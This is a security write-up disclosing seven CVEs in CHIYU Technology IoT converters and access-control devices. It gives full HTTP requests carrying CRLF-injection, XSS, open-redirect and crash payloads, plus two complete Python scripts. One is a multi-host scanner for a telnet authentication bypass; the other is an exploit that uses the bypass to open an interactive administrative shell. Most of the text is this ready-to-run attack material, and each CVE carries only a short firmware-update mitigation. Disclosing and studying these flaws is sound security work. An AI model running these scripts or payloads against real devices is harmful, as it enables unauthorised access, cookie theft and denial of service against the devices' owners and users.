CVE-2021-31249

A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.

Affected parameter: redirect= Component: all the CGI components Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>

Payload

setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>

HTTP request

GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

HTTP response

HTTP/1.1 302 Found
Location: setting.htm
<script>alert(document.domain)</script>
Content-Length: 0
Content-Type: text/html

ExploitDB: https://www.exploit-db.com/exploits/49923​

Impact: The impact of CRLF injections vary and also includes all the impacts of Cross-site Scripting to information disclosure.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31250

Multiple storage XSS vulnerabilities were discovered on BF-430, BF-431 and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, ppp.cgi.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on several CGI components to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

Proof-of-Concept: 01

Affected parameter: TF_submask Component: if.cgi Payload: "><script>alert(123)</script>

HTTP request:

GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/ap_tcps.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

HTTP response:

Proof-of-Concept: 02

Affected parameter: TF_hostname= Component: dhcpc.cgi Payload: /"><img src="#">

HTTP request and response:

GET /dhcpc.cgi?redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%23%22&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=%2F%22%3E%3Cimg+src%3D%22%23%22%3E&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/wan_dc.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

Proof-of-Concept: 03

Affected parameter: TF_servicename= Component: ppp.cgi Payload: "><script>alert(123)</script>

HTTP request:

GET /ppp.cgi?redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename=%22%3E%3Cscript%3Ealert%28%27123%27%29%3B%3C%2Fscript%3E&TF_idletime=0&L_ipnego=DISABLE&TF_fixip1=&TF_fixip2=&TF_fixip3=&TF_fixip4=&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=0.0.0.0&B_apply=APPLY HTTP/1.1
Host: 192.168.187.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.143/wan_pe.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

HTTP response

Proof-of-Concept: 04

Affected parameter: TF_port= Component: man.cgi Payload: /"><img src="#">

HTTP request:

GET /man.cgi?redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&B_mac_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

HTTP response:

ExploitDB: https://www.exploit-db.com/exploits/49922​

Impact: The attacker places their exploit into the application itself and simply waits for users to encounter it.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31251

Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.

We can see in the next image the normal workflow with the authentication banner (left-side), and the exploited scenario with the configuration menu (right-side). In detail, when the telnet tries to negotiate the telnet states with the client-side, it fails - at the 4 TCP request - and the IoT device jumps to the next state and believes that the user has already authenticated.

In order to verify if this condition is also present on other devices, a PoC was created and the results can be observed below. On the left side, we can see a lot of devices vulnerable obtained by using the checker, and on the right-side the vulnerability confirmation using the exploit.

Checker in action with multi-thread and CIDR - Pocsuite3:

Exploit in action - Pocsuite3:

Seebug: https://www.seebug.org/vuldb/ssvid-99267 ExploitDB: https://www.exploit-db.com/exploits/49936​

Impact: Accessing remotely any device bypassing telnet authentication protocol.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability. In this new version, the telnet service was disabled in order to solve this issue.

From vendor website:

Checker and Exploit

# Exploit Title:  (Checker) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges
# Date: June 01 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC  
#CVE: CVE-2021-31251
#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
​
"""
Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""
​
#!/usr/bin/env python3
​
#usage : python3 checker.py -t IP 
#usage1: python3 checker.py -f target.txt
​
​
import socket
import time
import sys
​
def checker(HOST, PORT):
    socket.setdefaulttimeout(10)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        connect = s.connect_ex((HOST, PORT))
        try:
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            result = s.recv(1024).strip()
            if result != b'\xff\xfe\x01':
                s.send(b"\x09")
                result = s.recv(1024).strip()
            s.close()
​
            if connect == 0 and "sername" not in str(result):
                if b"\xff\xfe\x01" == result:
                    print("[+] " + HOST + " is vulnerable to CVE-2021-31251!")
​
        except KeyboardInterrupt:
            s.close()
​
        except EOFError:
            s.close()
​
    except socket.error:
        print("[-] " + host + " NOT vulnerable!")
        return 0
​
​
opt = sys.argv[1]
​
if opt == "-t":
    HOST = sys.argv[2]
    PORT = 23
elif opt == "-f":
    PORT = 23
    with open(sys.argv[2]) as f:
        targets = [line.rstrip() for line in f]
else:
    print("Check the parameters before execution the checker.")
    exit(1)
​
if opt == "-t":
    checker(HOST, PORT)
else:
    for host in targets:
        if host:
            checker(host, PORT)
​
​

# Exploit Title:  (Exploit) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges
# Date: June 01 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC  
#CVE: CVE-2021-31251
#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
​
"""
Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""
​
#!/usr/bin/env python3
​
# usage: python3 exploit.py IP
​
import socket
import time
import sys
​
HOST = sys.argv[1]
PORT = 23
​
socket.setdefaulttimeout(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
​
try:
    connect = s.connect_ex((HOST, PORT))
    try:
        print("[+] Try to connect...\n")
        time.sleep(1)
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        result = s.recv(1024).strip()
        if result != b'\xff\xfe\x01':
            s.send(b"\x09")
            result = s.recv(1024).strip()
​
        if connect == 0 and "sername" not in str(result):
            if b"\xff\xfe\x01" == result:
                print("Connected! ;)\ntype: \"help\"\n\n")
                while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd+"\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')
​
                        if not len(result):
                            print("[+] CHIYU device not available, try again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))
    except KeyboardInterrupt:
        print("\n[+] ^C Received, closing connection")
        s.close()
    except EOFError:
        print("\n[+] ^D Received, closing connection")
        s.close()
​
except socket.error:
    print("[+] Unable to connect to CHIYU device.")
​

CVE-2021-31252

An open redirect vulnerability exists in BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, and SEMAC devices from CHIYU Technology that can be exploited by sending a link that has a specially crafted URL to convince the user to click on it.

To exploit this vulnerability, an attacker can inject an arbitrary URL and convince the end-user to click on the link redirecting it to a page with malicious content. All the CGI components are affected by this flaw.

Affected parameter: redirect= Component: all the CGI components (if.cgi, man.cgi, etc) Payload: redirect=http://127.0.0.1/exploit.htm

HTTP request

GET /if.cgi?redirect=http://192.168.187.201/exploit.htm&failure=fail.htm&type=serial_apply&S_type=2&S_baud=3&S_userdefine=0&S_data=3&S_parity=0&S_stop=0&S_flowcontrol=0&S_timeout=0&S_length=0&S_delimiter1=00&S_deli_en1=0&S_delimiter2=00&S_deli_en2=0&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/serial.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

HTTP response

Impact: Open Redirect is due to the improper sanitization of input that can be used to redirect users to external websites.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

​

CVE-2021-31641

An unauthenticated XSS vulnerability exists in several IoT devices from CHIYU Technology, including BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC. The vulnerability was observed also on more recent firmware versions.

Component: any argument passed via URL that results in an HTTP-404 Payload: http://ip/<script>alert(123)</script>

HTTP request

HTTP response

ExploitDB: https://www.exploit-db.com/exploits/49922​

Impact: This vulnerability is due to the improper sanitization of input when the HTTP-404 page is presented and that can be abused to redirect users to external websites.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31642

A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.

Affected parameter: page= Component: if.cgi Payload: if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

HTTP request

GET /if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1

HTTP response

After the request, the web portal will be unavailable until a device reboot.

ExploitDB: https://www.exploit-db.com/exploits/49937​

Impact: Device crash and web portal unavailable.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

​

CVE-2021-31643

A storage XSS flaw was discovered on SEMAC, Biosense, BF-630, BF-631, and Webpass IoT devices from CHIYU Technology Inc due to a lack of sanitization of the input on the component if.cgi - username parameter.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on the if.cgi component to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

Affected parameter: username= Component: if.cgi Payload: "><script>alert(1)</script>

HTTP request

HTTP response - SEMAC Web Ver7.2

GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=0000&MarkID=0000&CardID=000000&username=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2021&SM=2&SD=7&sy_h=16&sy_m=23&EY=2021&EM=2&ED=7&sy_h=16&sy_m=23&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=0&card=116&card=9&card=138 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=; remote=00000000
Upgrade-Insecure-Requests: 1

HTTP response - BIOSENSE-III-COMBO(M1)(20000)

GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=3&MarkID=3474&CardID=00000000&emp_id=&username=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2019&SM=11&SD=25&sy_h=15&sy_m=0&EY=2019&EM=11&ED=25&sy_h=15&sy_m=0&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=118&card=5&card=101&card=110 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1

ExploitDB: https://www.exploit-db.com/exploits/49922​

Impact: The attacker places their exploit into the application itself and simply waits for users to encounter it.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

References